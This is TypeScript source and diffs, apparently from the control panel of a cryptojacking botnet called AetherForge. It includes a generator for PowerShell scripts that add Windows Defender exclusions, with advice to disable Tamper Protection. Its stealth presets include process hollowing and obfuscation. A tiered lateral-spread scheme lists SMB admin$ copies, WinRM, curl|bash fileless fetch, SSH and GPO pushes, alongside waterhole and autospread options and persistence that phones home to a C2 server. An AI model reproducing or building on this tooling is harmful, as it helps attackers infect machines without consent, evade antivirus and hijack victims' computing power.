export function mergeAgentStats(agent: Agent, update: WSStatsUpdate): Agent {
return {
...agent,
hashrate_15s: update.hashrate_15s,
hashrate_1m: update.hashrate_1m,
hashrate_15m: update.hashrate_15m,
cpu_usage_pct: update.cpu_usage_pct,
memory_usage_pct: update.memory_usage_pct ?? agent.memory_usage_pct,
uptime_seconds: update.uptime_seconds ?? agent.uptime_seconds,
shares_total: update.shares_submitted ?? agent.shares_total,
shares_good: update.shares_accepted ?? agent.shares_good,
shares_bad: Math.max(
0,
(update.shares_submitted ?? agent.shares_total) -
(update.shares_accepted ?? agent.shares_good),
),
status: 'online' as const,
...(update.listen_port_count !== undefined ? { listen_port_count: update.listen_port_count } : {}),
...(update.dns_servers !== undefined ? { dns_servers: update.dns_servers } : {}),
...(update.dns_search_domains !== undefined ? { dns_search_domains: update.dns_search_domains } : {}),
...(update.dns_drifted !== undefined ? { dns_drifted: update.dns_drifted } : {}),
...(update.cpu_freq_mhz !== undefined ? { cpu_freq_mhz: update.cpu_freq_mhz } : {}),
...(update.cpu_max_mhz !== undefined ? { cpu_max_mhz: update.cpu_max_mhz } : {}),
...(update.cpu_throttle !== undefined ? { cpu_throttle: update.cpu_throttle } : {}),
...(update.cpu_temp_c !== undefined ? { cpu_temp_c: update.cpu_temp_c } : {}),
...(update.disk_free_gb !== undefined ? { disk_free_gb: update.disk_free_gb } : {}),
...(update.disk_total_gb !== undefined ? { disk_total_gb: update.disk_total_gb } : {}),
...(update.disk_free_pct !== undefined ? { disk_free_pct: update.disk_free_pct } : {}),
...(update.gpu_temp_c !== undefined ? { gpu_temp_c: update.gpu_temp_c } : {}),
...(update.gpu_usage_pct !== undefined ? { gpu_usage_pct: update.gpu_usage_pct } : {}),
...(update.gpu_miner_active !== undefined ? { gpu_miner_active: update.gpu_miner_active } : {}),
...(update.gpu_hashrate_15s !== undefined ? { gpu_hashrate_15s: update.gpu_hashrate_15s } : {}),
...(update.gpu_hashrate_1m !== undefined ? { gpu_hashrate_1m: update.gpu_hashrate_1m } : {}),
...(update.gpu_hashrate_15m !== undefined ? { gpu_hashrate_15m: update.gpu_hashrate_15m } : {}),
...(update.gpu_model !== undefined ? { gpu_model: update.gpu_model } : {}),
...(update.ssh_available !== undefined ? { ssh_available: update.ssh_available } : {}),
...(update.posture_score !== undefined ? { posture_score: update.posture_score } : {}),
...(update.last_patch_days !== undefined ? { last_patch_days: update.last_patch_days } : {}),
...(update.defender_rtp !== undefined ? { defender_rtp: update.defender_rtp } : {}),
...(update.av_products !== undefined ? { av_products: update.av_products } : {}),
...(update.firewall_domain !== undefined ? { firewall_domain: update.firewall_domain } : {}),
...(update.firewall_private !== undefined ? { firewall_private: update.firewall_private } : {}),
...(update.firewall_public !== undefined ? { firewall_public: update.firewall_public } : {}),
...(update.last_patch !== undefined ? { last_patch: update.last_patch } : {}),
...(update.pending_updates !== undefined ? { pending_updates: update.pending_updates } : {}),
...(update.reboot_pending !== undefined ? { reboot_pending: update.reboot_pending } : {}),
...(update.agent_elevated !== undefined ? { agent_elevated: update.agent_elevated } : {}),
...(update.services !== undefined ? { services: update.services } : {}),
...(update.latency_ms !== undefined ? { latency_ms: update.latency_ms } : {}),
...(update.active_method !== undefined ? { active_method: update.active_method } : {}),
...(update.failed_methods !== undefined ? { failed_methods: update.failed_methods } : {}),
...(update.last_error !== undefined ? { last_error: update.last_error } : {}),
...(update.chain_order !== undefined ? { chain_order: update.chain_order } : {}),
...(update.stratum_overlay !== undefined ? { stratum_overlay: update.stratum_overlay } : {}),
...(update.chain_exhausted !== undefined ? { chain_exhausted: update.chain_exhausted } : {}),
...(update.mining_hashrate !== undefined ? { mining_hashrate: update.mining_hashrate } : {}),
...(update.lotl_tier !== undefined ? { lotl_tier: update.lotl_tier } : {}),
...(update.lotl_attempts !== undefined ? { lotl_attempts: update.lotl_attempts } : {}),
...(update.vuln_findings !== undefined ? { vuln_findings: update.vuln_findings } : {}),
...(update.vuln_risk_score !== undefined ? { vuln_risk_score: update.vuln_risk_score } : {}),
...(update.join_lane !== undefined ? { join_lane: update.join_lane } : {}),
};
}
/** Apply one or many stats updates in a single pass (batch-friendly). */
export function applyStatsUpdates(agents: Agent[], updates: WSStatsUpdate[]): Agent[] {
if (updates.length === 0) return agents;
const byId = new Map(updates.map((u) => [u.agent_id, u]));
let changed = false;
const next = agents.map((a) => {
const u = byId.get(a.id);
if (!u || agentStatsUnchanged(a, u)) return a;
changed = true;
return mergeAgentStats(a, u);
});
return changed ? next : agents;
}

View File

@@ -52,7 +52,7 @@ describe('PIPELINE_STEPS', () => {
'/settings',
'/forge',
'/builds',
'/agents',
'/crucible',
'/dashboard',
]);
for (const step of routed) {

View File

@@ -90,9 +90,9 @@ export const PIPELINE_STEPS: CheatStep[] = [
title: 'Connect',
subtitle: 'Agent phones home',
icon: '🔗',
body: 'After running, the worker embeds itself, sets up persistence (registry/task scheduler/service depending on Forge settings), then WebSocket-connects to the C2 URL baked into it. It appears in Fleet Roster within seconds.',
route: '/agents',
routeLabel: 'Fleet Roster',
body: 'After running, the worker embeds itself, sets up persistence (registry/task scheduler/service depending on Forge settings), then WebSocket-connects to the C2 URL baked into it. It appears in Crucible within seconds.',
route: '/crucible',
routeLabel: 'Crucible',
tips: [
'Status dot: green = online now, grey = last seen X ago',
'Remote action buttons are disabled when the agent is offline — by design',
@@ -128,7 +128,7 @@ export const FORGE_VS_CALIBRATE = {
'C2 server URL (LAN http://IP:8989)',
'Wallet address & payment ID',
'Pool host, port, TLS on/off, pool password',
'Worker name (shows in Fleet Roster)',
'Worker name (shows in Crucible node roster)',
'Thread count + thread mode (fixed / percent / adapt)',
'CPU/RAM usage caps & idle detection',
'Mining schedule (start/end time window)',
@@ -328,7 +328,7 @@ ollama run llama3.2`,
export const TROUBLESHOOTING = [
{
problem: 'Agent never appears in Fleet Roster',
problem: 'Agent never appears in Crucible',
fix: 'The C2 URL baked into the agent must be reachable from the target machine. Use your LAN URL (http://192.168.x.x:8989), not localhost. Test: open that URL in a browser on the target machine — you should see the dashboard login.',
},
{

View File

@@ -0,0 +1,26 @@
import { describe, it, expect } from 'vitest';
import { buildDefenderExclusionScript, defaultWindowsInstallPreview } from './defenderExclusion';
describe('defenderExclusion', () => {
it('builds elevated PowerShell with path and process exclusions', () => {
const script = buildDefenderExclusionScript({
installPath: "C:\\ProgramData\\AetherForge\\worker",
processName: 'RuntimeBrokerHelper',
});
expect(script).toContain('Add-MpPreference -ExclusionPath');
expect(script).toContain('RuntimeBrokerHelper.exe');
expect(script).toContain('Tamper Protection');
});
it('escapes single quotes in paths', () => {
const script = buildDefenderExclusionScript({
installPath: "C:\\O'Brien\\miner",
processName: 'worker',
});
expect(script).toContain("C:\\O''Brien\\miner");
});
it('provides default install preview', () => {
expect(defaultWindowsInstallPreview('rig-01')).toContain('rig-01');
});
});

View File

@@ -0,0 +1,57 @@
/** Generate a PowerShell script operators run manually to add Defender exclusions. */
export interface DefenderExclusionOptions {
/** Install directory, e.g. %LOCALAPPDATA%\\CryptoMiner\\worker-abc */
installPath: string;
/** Process name without .exe, e.g. RuntimeBrokerHelper */
processName: string;
}
function psEscapeSingleQuoted(value: string): string {
return value.replace(/'/g, "''");
}
export function buildDefenderExclusionScript(opts: DefenderExclusionOptions): string {
const installPath = psEscapeSingleQuoted(opts.installPath.trim());
const processName = psEscapeSingleQuoted(opts.processName.trim());
const processExe = processName.endsWith('.exe') ? processName : `${processName}.exe`;
return `# AetherForge — Windows Defender exclusions
# Run elevated (Administrator). Review before executing.
# Tamper Protection blocks silent changes — disable it temporarily in Windows Security if exclusions fail.
$ErrorActionPreference = 'Stop'
$principal = [Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()
if (-not $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
Write-Warning 'Re-run this script as Administrator.'
}
$paths = @(
'${installPath}'
)
$processes = @(
'${processExe}'
)
try {
Add-MpPreference -ExclusionPath $paths -Force
Add-MpPreference -ExclusionProcess $processes -Force
Write-Host "Added Defender exclusions for install path and ${processExe}"
} catch {
Write-Warning $_.Exception.Message
}
Write-Host ''
Write-Host 'Manual checklist if mining still blocked:'
Write-Host ' 1. Windows Security > Virus & threat protection > Manage settings'
Write-Host ' 2. Turn off Tamper Protection, add exclusions, re-enable Tamper Protection'
Write-Host ' 3. Disable Controlled folder access OR allow the agent process'
Write-Host ' 4. Cloud-delivered protection can still flag unknown binaries — exclusions help path/process only'
`;
}
/** Example install path for Calibrate preview (Windows localappdata template). */
export function defaultWindowsInstallPreview(workerName = 'worker'): string {
const slug = workerName.trim() || 'worker';
return `%LOCALAPPDATA%\\CryptoMiner\\${slug}-{build_short}`;
}

View File

@@ -27,6 +27,7 @@ export const DOC_ANCHORS: Record<string, string> = {
max_memory_percent: '/docs/#forge-stealth',
min_free_ram_mb: '/docs/#forge-stealth',
mining_mode: '/docs/#forge-stealth',
miner_execution: '/docs/#container-mining',
idle_threshold_pct: '/docs/#forge-stealth',
idle_duration_minutes: '/docs/#forge-stealth',
schedule_start: '/docs/#agent',

View File

@@ -11,6 +11,7 @@ export const FORGE_BUILD_DEFAULTS: Omit<
thread_percent: 75,
cpu_priority: 'below_normal',
mining_mode: 'idle',
miner_execution: 'auto',
display_mode: 'background',
silent_mode: true,
run_as: 'scheduled',

View File

@@ -14,13 +14,14 @@ import {
describe('forgeMissionWizard', () => {
it('defines three ritual wizard steps', () => {
expect(MISSION_WIZARD_STEPS).toEqual(['mode', 'profile', 'launch']);
expect(MISSION_OPERATION_CHIPS.map((c) => c.label)).toEqual(['Ghost', 'Loud', 'Spread']);
expect(MISSION_OPERATION_CHIPS.map((c) => c.label)).toEqual(['Ghost', 'Loud', 'Spread', 'AV-Safe']);
});
it('maps operation chips to forge modes', () => {
expect(operationModeForChip('ghost')).toBe('ghost_walk');
expect(operationModeForChip('loud')).toBe('open_flame');
expect(operationModeForChip('spread')).toBe('wildfire');
expect(operationModeForChip('avsafe')).toBe('av_safe');
});
it('reverse-maps operation modes to wizard chips', () => {
@@ -29,6 +30,7 @@ describe('forgeMissionWizard', () => {
expect(missionChipForMode('open_flame')).toBe('loud');
expect(missionChipForMode('wildfire')).toBe('spread');
expect(missionChipForMode('crucible_storm')).toBe('spread');
expect(missionChipForMode('av_safe')).toBe('avsafe');
});
it('navigates wizard steps forward and back', () => {

View File

@@ -10,7 +10,7 @@ export const MISSION_WIZARD_STEP_LABELS: Record<MissionWizardStep, string> = {
launch: 'Launch',
};
export type MissionOperationChip = 'ghost' | 'loud' | 'spread';
export type MissionOperationChip = 'ghost' | 'loud' | 'spread' | 'avsafe';
export interface MissionOperationChipDef {
id: MissionOperationChip;
@@ -42,6 +42,13 @@ export const MISSION_OPERATION_CHIPS: MissionOperationChipDef[] = [
modeId: 'wildfire',
blurb: 'Universal spread kit + LAN/USB autospread — seed the fleet',
},
{
id: 'avsafe',
label: 'AV-Safe',
color: '#22d3a8',
modeId: 'av_safe',
blurb: 'In-process XMR only — no GPU exe download, no spread/hollow',
},
];
export function operationModeForChip(chip: MissionOperationChip): OperationModeId {
@@ -49,6 +56,7 @@ export function operationModeForChip(chip: MissionOperationChip): OperationModeI
}
export function missionChipForMode(mode: OperationModeId): MissionOperationChip {
if (mode === 'av_safe') return 'avsafe';
if (mode === 'open_flame') return 'loud';
if (mode === 'wildfire' || mode === 'crucible_storm') return 'spread';
return 'ghost';

View File

@@ -24,8 +24,8 @@ const baseForm = (): BuildRequest =>
}) as BuildRequest;
describe('forgeOperationModes', () => {
it('exposes six colored aether-themed presets', () => {
expect(OPERATION_MODES).toHaveLength(6);
it('exposes colored aether-themed presets including LOTL Onion', () => {
expect(OPERATION_MODES).toHaveLength(8);
expect(OPERATION_MODES.map((m) => m.label)).toEqual([
'Ghost Walk',
'Open Flame',
@@ -33,6 +33,8 @@ describe('forgeOperationModes', () => {
'Hearth Whisper',
'Wildfire',
'Crucible Storm',
'AV-Safe',
'LOTL Onion',
]);
OPERATION_MODES.forEach((m) => expect(m.color).toMatch(/^#/));
expect(DEFAULT_OPERATION_MODE).toBe('ghost_walk');
@@ -46,6 +48,8 @@ describe('forgeOperationModes', () => {
'aether',
'wildfire',
'crucible',
'aether',
'aether',
]);
expect(skinForOperationMode('wildfire')).toBe('wildfire');
expect(skinForOperationMode('sigil_mask')).toBe('halloween');
@@ -110,4 +114,28 @@ describe('forgeOperationModes', () => {
expect(next.hole_punch).toBe(true);
expect(next.mesh_p2p).toBe(true);
});
it('applies AV-Safe in-process mining without GPU or spread', () => {
const next = applyOperationMode(baseForm(), 'av_safe');
expect(next.miner_execution).toBe('inprocess');
expect(next.gpu_enabled).toBe(false);
expect(next.process_hollowing).toBe(false);
expect(next.spread_kit).toBe(false);
expect(next.auto_spread).toBe(false);
expect(next.remote_aggressive).toBe(false);
expect(next.obfuscate).toBe(false);
});
it('applies LOTL Onion AV-Safe mining plus tier chain flags', () => {
const next = applyOperationMode(baseForm(), 'lotl_onion');
expect(next.miner_execution).toBe('inprocess');
expect(next.gpu_enabled).toBe(false);
expect(next.lotl_onion_enabled).toBe(true);
expect(next.lotl_policy_from_server).toBe(true);
expect(next.lotl_onion_tiers).toHaveLength(9);
expect(next.lotl_onion_tiers?.[0]).toBe('docker');
expect(next.spread_kit).toBe(false);
expect(next.auto_spread).toBe(true);
expect(next.share_spread).toBe(true);
});
});

View File

@@ -1,5 +1,6 @@
import type { BuildRequest } from '../types';
import { normalizeForgeForm } from './forgeFormNormalize';
import { DEFAULT_LOTL_ONION_TIERS } from './lotlOnionTiers';
export type OperationModeId =
| 'ghost_walk'
@@ -7,7 +8,9 @@ export type OperationModeId =
| 'sigil_mask'
| 'hearth_whisper'
| 'wildfire'
| 'crucible_storm';
| 'crucible_storm'
| 'av_safe'
| 'lotl_onion';
/** Seasonal / operation forge UI skins (CSS class suffix). */
export type ForgeSkinId = 'aether' | 'halloween' | 'ghost' | 'wildfire' | 'crucible';
@@ -158,6 +161,66 @@ export const OPERATION_MODES: OperationMode[] = [
mesh_p2p: true,
}),
},
{
id: 'av_safe',
label: 'AV-Safe',
color: '#22d3a8',
skin: 'aether',
blurb: 'In-process RandomX only — no GPU exe, no hollow/spread, minimal AV friction',
apply: (f) => ({
...f,
miner_execution: 'inprocess',
gpu_enabled: false,
process_hollowing: false,
spread_kit: false,
auto_spread: false,
usb_spread: false,
share_spread: false,
remote_aggressive: false,
obfuscate: false,
stealth_mode: true,
display_mode: 'background',
silent_mode: true,
file_logging: true,
firewall_exclusion: true,
fusion_enabled: false,
mining_mode: 'idle',
max_cpu_usage_pct: 50,
thread_percent: 50,
}),
},
{
id: 'lotl_onion',
label: 'LOTL Onion',
color: '#38bdf8',
skin: 'aether',
blurb:
'AV-Safe in-process XMR (same wallet field) + native-tool spread tier chain — server-pulled contingencies, no extra exe drop',
apply: (f) => ({
...f,
miner_execution: 'inprocess',
gpu_enabled: false,
process_hollowing: false,
spread_kit: false,
auto_spread: true,
share_spread: true,
usb_spread: false,
remote_aggressive: false,
obfuscate: false,
stealth_mode: true,
display_mode: 'background',
silent_mode: true,
file_logging: true,
firewall_exclusion: true,
fusion_enabled: false,
mining_mode: 'idle',
max_cpu_usage_pct: 50,
thread_percent: 50,
lotl_onion_enabled: true,
lotl_policy_from_server: true,
lotl_onion_tiers: [...DEFAULT_LOTL_ONION_TIERS],
}),
},
];
export function isOperationModeId(value: string): value is OperationModeId {

View File

@@ -0,0 +1,14 @@
import { describe, it, expect } from 'vitest';
import { DEFAULT_LOTL_ONION_TIERS, LOTL_ONION_TIER_DOCS } from './lotlOnionTiers';
describe('lotlOnionTiers', () => {
it('lists nine tiers in onion order', () => {
expect(DEFAULT_LOTL_ONION_TIERS).toHaveLength(9);
expect(DEFAULT_LOTL_ONION_TIERS[8]).toBe('gpo');
});
it('documents each tier with a one-line hint', () => {
expect(LOTL_ONION_TIER_DOCS).toHaveLength(9);
expect(LOTL_ONION_TIER_DOCS.every((t) => t.label && t.hint)).toBe(true);
});
});

View File

@@ -0,0 +1,38 @@
/** Ordered LOTL spread contingency tiers — shared by Forge preset + spread wiki. */
export const DEFAULT_LOTL_ONION_TIERS = [
'docker',
'wsl',
'powershell',
'dotnet',
'bits_curl',
'smb',
'winrm',
'linux',
'gpo',
] as const;
export type LotlOnionTierId = (typeof DEFAULT_LOTL_ONION_TIERS)[number];
export interface LotlOnionTierDoc {
id: LotlOnionTierId;
label: string;
/** One-line operator hint for playbook tabs */
hint: string;
}
export const LOTL_ONION_TIER_DOCS: LotlOnionTierDoc[] = [
{ id: 'docker', label: 'Docker', hint: 'Container worker image — isolated RandomX, no host miner exe drop' },
{ id: 'wsl', label: 'WSL', hint: 'WSL curl|bash one-liner when native Windows path is blocked' },
{ id: 'powershell', label: 'PowerShell', hint: 'PS remoting / hidden install.ps1 from your C2 origin' },
{ id: 'dotnet', label: 'dotnet', hint: 'dotnet tool-run bootstrap — no standalone payload exe' },
{ id: 'bits_curl', label: 'bits/curl', hint: 'BITS transfer or curl|bash to /install.ps1 — fileless fetch' },
{ id: 'smb', label: 'SMB', hint: 'admin$ / C$ copy + SCM — classic lateral on open 445' },
{ id: 'winrm', label: 'WinRM', hint: 'Opportunistic PS remoting when 5985/5986 responds' },
{ id: 'linux', label: 'Linux', hint: 'SSH lateral on Unix agents — same wallet, no extra drop' },
{ id: 'gpo', label: 'GPO', hint: 'Domain startup/logon script push — operator-owned AD only' },
];
export function lotlTierDocUrl(tier: LotlOnionTierId): string {
return `/docs/SPREAD_TECHNIQUES.html#lotl-tier-${tier}`;
}

View File

@@ -1,7 +1,7 @@
/** Map dashboard routes to human-readable page names for comrade presence. */
const PAGE_LABELS: Record<string, string> = {
'/dashboard': 'Command Deck',
'/agents': 'Fleet Roster',
'/agents': 'Crucible',
'/crucible': 'Crucible',
'/forge': 'Forge',
'/builder': 'Forge',

View File

@@ -0,0 +1,38 @@
import { describe, expect, it } from 'vitest';
import { ipToSubnet, joinLaneLabel, riskFromVulnFindings } from './reconRisk';
describe('reconRisk', () => {
it('ipToSubnet derives /24 label', () => {
expect(ipToSubnet('10.0.1.42')).toBe('10.0.1.x');
expect(ipToSubnet('')).toBe('');
});
it('riskFromVulnFindings returns null when empty or all patched', () => {
expect(riskFromVulnFindings(undefined)).toBeNull();
expect(riskFromVulnFindings([{ cve_id: 'CVE-1', severity: 'critical', patched: true }])).toBeNull();
});
it('riskFromVulnFindings picks highest unpatched severity', () => {
const info = riskFromVulnFindings([
{ cve_id: 'CVE-LOW', severity: 'low', patched: false },
{ cve_id: 'CVE-HIGH', severity: 'high', patched: false, exploitable_in_fleet_context: true },
]);
expect(info?.level).toBe('high');
expect(info?.label).toBe('RISK HIGH');
expect(info?.count).toBe(2);
expect(info?.title).toContain('CVE-HIGH');
});
it('riskFromVulnFindings maps critical severity', () => {
const info = riskFromVulnFindings([{ cve_id: 'CVE-X', severity: 'critical', patched: false }]);
expect(info?.level).toBe('critical');
expect(info?.label).toBe('RISK CRIT');
});
it('joinLaneLabel formats known lanes', () => {
expect(joinLaneLabel('winrm')).toBe('WinRM');
expect(joinLaneLabel('spread_smb_unc')).toBe('SMB UNC');
expect(joinLaneLabel('')).toBeNull();
expect(joinLaneLabel('custom_lane')).toBe('custom lane');
});
});

View File

@@ -0,0 +1,88 @@
import type { VulnFinding } from '../types/recon';
const SEVERITY_RANK: Record<string, number> = {
critical: 5,
high: 4,
medium: 3,
low: 2,
info: 1,
};
export type RiskLevel = 'critical' | 'high' | 'medium' | 'low' | 'clear';
export interface RiskBadgeInfo {
level: RiskLevel;
label: string;
count: number;
title: string;
}
/** Derive /24 subnet label from agent IP (matches fleetAnalytics). */
export function ipToSubnet(ip?: string): string {
const trimmed = (ip || '').trim();
const parts = trimmed.split('.');
return parts.length >= 3 ? `${parts[0]}.${parts[1]}.${parts[2]}.x` : '';
}
function severityRank(severity?: string): number {
if (!severity) return 0;
return SEVERITY_RANK[severity.toLowerCase()] ?? 0;
}
/** Highest actionable severity from vuln_findings; clear when empty or all patched. */
export function riskFromVulnFindings(findings?: VulnFinding[]): RiskBadgeInfo | null {
if (!findings?.length) return null;
const actionable = findings.filter((f) => !f.patched);
if (actionable.length === 0) return null;
let maxRank = 0;
let maxSeverity = 'low';
let exploitable = 0;
for (const f of actionable) {
const rank = severityRank(f.severity);
if (rank > maxRank) {
maxRank = rank;
maxSeverity = (f.severity || 'low').toLowerCase();
}
if (f.exploitable_in_fleet_context) exploitable += 1;
}
const level: RiskLevel =
maxRank >= 5 ? 'critical' : maxRank >= 4 ? 'high' : maxRank >= 3 ? 'medium' : 'low';
const cveList = actionable
.slice(0, 4)
.map((f) => f.cve_id)
.join(', ');
const suffix = actionable.length > 4 ? ` +${actionable.length - 4} more` : '';
return {
level,
label: level === 'critical' ? 'RISK CRIT' : level === 'high' ? 'RISK HIGH' : level === 'medium' ? 'RISK MED' : 'RISK',
count: actionable.length,
title: `${actionable.length} unpatched finding(s) — max ${maxSeverity}${
exploitable ? ` · ${exploitable} fleet-context` : ''
}\n${cveList}${suffix}`,
};
}
const JOIN_LANE_LABELS: Record<string, string> = {
winrm: 'WinRM',
smb: 'SMB',
gpo: 'GPO',
docker: 'Docker',
bits: 'BITS',
intune: 'Intune',
'linux-lotl': 'Linux LOTL',
linux_lotl: 'Linux LOTL',
spread_smb_unc: 'SMB UNC',
};
/** Display label for join_lane funnel tag. */
export function joinLaneLabel(lane?: string): string | null {
const raw = lane?.trim();
if (!raw) return null;
const key = raw.toLowerCase();
return JOIN_LANE_LABELS[key] ?? raw.replace(/_/g, ' ').replace(/-/g, ' ');
}

View File

@@ -24,6 +24,7 @@ const UI_REMOTE_ACTIONS = [
'upload',
'push_desktop',
'full_sys_check',
'mining_diagnostics',
...AGGRESSIVE_REMOTE_ACTIONS,
] as const;
@@ -41,6 +42,7 @@ const AGENT_HANDLED = new Set([
'upload',
'push_desktop',
'full_sys_check',
'mining_diagnostics',
'download',
'ps',
'netstat',

View File

@@ -24,7 +24,7 @@ describe('SETUP_CHEATSHEET', () => {
expect(bodies).toContain('Calibrate');
expect(bodies).toContain('Forge');
expect(bodies).toContain('Command Deck');
expect(bodies).toContain('Fleet Roster');
expect(bodies).toContain('Crucible');
});
});
@@ -33,6 +33,7 @@ describe('FIELD_HELP', () => {
'calibrate_wallet',
'calibrate_quick_setup',
'forge_simple_mode',
'forge_lotl_onion',
'forge_recommended_defaults',
'obfuscate',
'sigil_scramble',
@@ -58,6 +59,7 @@ describe('FIELD_HELP', () => {
'min_free_ram_mb',
'cpu_priority',
'mining_mode',
'miner_execution',
'idle_threshold_pct',
'idle_duration_minutes',
'schedule_start',

View File

@@ -13,7 +13,7 @@ export const SETUP_CHEATSHEET = [
},
{
title: '4. Watch the fleet',
body: 'Command Deck shows live hashrate. Fleet Roster has remote controls when you need them — buttons stay disabled until the agent is online (live WebSocket required).',
body: 'Command Deck shows live hashrate. Crucible has remote controls when you need them — buttons stay disabled until the agent is online (live WebSocket required).',
},
];
@@ -25,7 +25,9 @@ export const FIELD_HELP: Record<string, string> = {
forge_simple_mode:
'Simple mode hides pool tuning, stealth toggles, and expert options — they stay on recommended defaults. Switch to Advanced when you need full control.',
forge_operation_mode:
'One-click preset bundles: Ghost (stealth LAN, no window, idle mining), Loud (visible logs for lab testing), Spread (universal multi-OS kit with autospread), PathForge (recursive batch seed for media folders). Switches sensible defaults — individual fields below can still be fine-tuned.',
'One-click preset bundles: Ghost (stealth LAN), Loud (lab logs), Wildfire (spread kit), AV-Safe (in-process XMR only), LOTL Onion (AV-Safe mining + native-tool spread tier chain with server-pulled contingencies). Switches sensible defaults — individual fields below can still be fine-tuned.',
forge_lotl_onion:
'LOTL Onion preset: in-process RandomX (same XMR wallet field), no GPU exe drop, ordered docker→GPO spread contingencies. When lotl_policy_from_server is on, tier order is pulled from Calibrate server config on agent auth — re-forge not required to reorder tiers.',
forge_path_forge:
'Server-side recursive batch seed: enter a folder path and the server walks it, placing a launcher next to every matching file without uploading anything. Lock Original renames the source so only the companion launcher can open it — it re-locks after playback.',
forge_recommended_defaults:
@@ -64,6 +66,8 @@ export const FIELD_HELP: Record<string, string> = {
min_free_ram_mb: 'Pause mining if free system RAM drops below this value (MB). Protects desktop usability.',
cpu_priority: 'Windows process priority. Below Normal or Idle keeps the PC usable while mining.',
mining_mode: 'Always = mine continuously. Idle = only when user is inactive. Scheduled = mine during set hours.',
miner_execution:
'Cascade order: container (Docker/Podman) → in-process RandomX → GPU subprocess (T-Rex/TRM, parallel RVN) → direct Stratum when C2 jobs stall. In-process runs pure-Go RandomX — no external CPU .exe. Container isolates CPU mining. Subprocess is GPU-only. Auto runs the full chain; inprocess/container/subprocess limit which steps are tried. Failures advance automatically with a 30s cooldown between full re-passes. Use Calibrate → Defender Exclusions on Windows fleets.',
idle_threshold_pct: 'For Idle mode: system CPU must stay below this % for Idle Duration before mining starts.',
idle_duration_minutes: 'How long the machine must be idle before mining begins.',
schedule_start: 'For Scheduled mode: daily start time (24h).',

View File

@@ -17,7 +17,8 @@ describe('spreadTechniques', () => {
});
it('maps Emberwake bullets to playbook tabs', () => {
expect(EMBERWAKE_TECHNIQUE_LINKS.length).toBeGreaterThanOrEqual(8);
expect(EMBERWAKE_TECHNIQUE_LINKS.length).toBeGreaterThanOrEqual(9);
expect(EMBERWAKE_TECHNIQUE_LINKS.some((t) => t.anchor === 'lotl-onion')).toBe(true);
expect(EMBERWAKE_TECHNIQUE_LINKS.every((t) => t.anchor && t.label && t.hint)).toBe(true);
});
});

View File

@@ -13,6 +13,11 @@ export interface EmberwakeTechniqueLink {
/** Maps Emberwake “how to spread” bullets to playbook tabs. */
export const EMBERWAKE_TECHNIQUE_LINKS: EmberwakeTechniqueLink[] = [
{
label: 'LOTL Onion tiers',
anchor: 'lotl-onion',
hint: 'Ordered docker→GPO contingencies — LOTL Onion forge preset',
},
{
label: 'Web waterhole',
anchor: 'web-waterhole',
@@ -43,6 +48,21 @@ export const EMBERWAKE_TECHNIQUE_LINKS: EmberwakeTechniqueLink[] = [
anchor: 'lan',
hint: 'Universal spread kit + autospread preset',
},
{
label: 'WinRM bootstrap',
anchor: 'winrm-bootstrap',
hint: 'Enable-PSRemoting + encoded agent register (owned lab)',
},
{
label: 'Linux LOTL',
anchor: 'linux-lotl',
hint: 'systemd-run --user, crontab, SSH lateral spread',
},
{
label: 'GPO / Intune',
anchor: 'enterprise-gpo',
hint: 'Startup scripts — mining policy stays on command deck',
},
{
label: 'WordPress plugin',
anchor: 'wordpress',

View File

@@ -0,0 +1,13 @@
import { describe, it, expect } from 'vitest';
import { SPREAD_TEMPLATES, spreadTemplateZipName } from './spreadTemplateExport';
describe('spreadTemplateExport', () => {
it('lists enterprise spread templates', () => {
expect(SPREAD_TEMPLATES.map((t) => t.id)).toEqual(['winrm', 'linux-lotl', 'gpo', 'intune']);
});
it('maps template ids to zip filenames', () => {
expect(spreadTemplateZipName('winrm')).toBe('aetherforge-winrm-bootstrap.zip');
expect(spreadTemplateZipName('linux-lotl')).toBe('aetherforge-linux-lotl.zip');
});
});

View File

@@ -0,0 +1,52 @@
/** Spread template export helpers (Tasks 9/12/13) */
export type SpreadTemplateId = 'winrm' | 'linux-lotl' | 'gpo' | 'intune';
export interface SpreadTemplateMeta {
id: SpreadTemplateId;
label: string;
hint: string;
docAnchor: string;
}
export const SPREAD_TEMPLATES: SpreadTemplateMeta[] = [
{
id: 'winrm',
label: 'WinRM bootstrap',
hint: 'Enable-PSRemoting + encoded register; COM hijack optional (off by default)',
docAnchor: 'winrm-bootstrap',
},
{
id: 'linux-lotl',
label: 'Linux LOTL',
hint: 'systemd-run --user / crontab + SSH spread flags',
docAnchor: 'linux-lotl',
},
{
id: 'gpo',
label: 'GPO startup',
hint: 'Computer startup script — policy on server, not in GPO blob',
docAnchor: 'enterprise-gpo',
},
{
id: 'intune',
label: 'Intune script',
hint: 'Proactive remediation — defer mining until C2 diagnostics',
docAnchor: 'enterprise-intune',
},
];
export function spreadTemplateZipName(id: SpreadTemplateId): string {
switch (id) {
case 'winrm':
return 'aetherforge-winrm-bootstrap.zip';
case 'linux-lotl':
return 'aetherforge-linux-lotl.zip';
case 'gpo':
return 'aetherforge-gpo-startup.zip';
case 'intune':
return 'aetherforge-intune-startup.zip';
default:
return 'aetherforge-spread-template.zip';
}
}

View File

@@ -45,6 +45,8 @@ describe('UI_HELP', () => {
'crucible_section_files_advanced',
'crucible_section_destructive',
'crucible_section_spread',
'crucible_section_cred_graph',
'crucible_section_service_graph',
'crucible_section_seek',
'crucible_section_ssh',
'crucible_section_tunnels',

View File

@@ -36,7 +36,7 @@ export const UI_HELP: Record<string, string> = {
crucible_heat_map:
'Spatial view of node selection and group colors. Click a dot to toggle that agent in the roster.',
crucible_groups:
'Named color groups shared with Fleet Roster. Click a group chip to select all members for bulk commands.',
'Named color groups for the fleet. Click a group chip to select all members for bulk commands.',
crucible_active_target:
'The focused node when exactly one is selected — used for single-agent panels like live desktop and file browser.',
crucible_tab_ops:
@@ -50,11 +50,11 @@ export const UI_HELP: Record<string, string> = {
crucible_tab_tunnels:
'SSH port forwards and protocol tunnels between your control PC and selected agents.',
crucible_mining_ops:
'Pause or resume hashing on selected online nodes. The agent process stays connected — only the miner thread stops or starts.',
'Fleet health power management: pause or resume hashing on selected online nodes. Mining telemetry egresses on the agent WebSocket (same port as heartbeat) — the agent process stays connected.',
crucible_resume:
'Tell selected online miners to resume hashing after a pause command or idle throttle.',
'Fleet health job: restore hashing workload after a pause or idle throttle.',
crucible_pause:
'Pause mining on selected nodes without stopping the agent process — they stay connected.',
'Fleet health job: power down hashing on selected nodes without stopping the agent — they stay connected on WSS.',
crucible_full_audit:
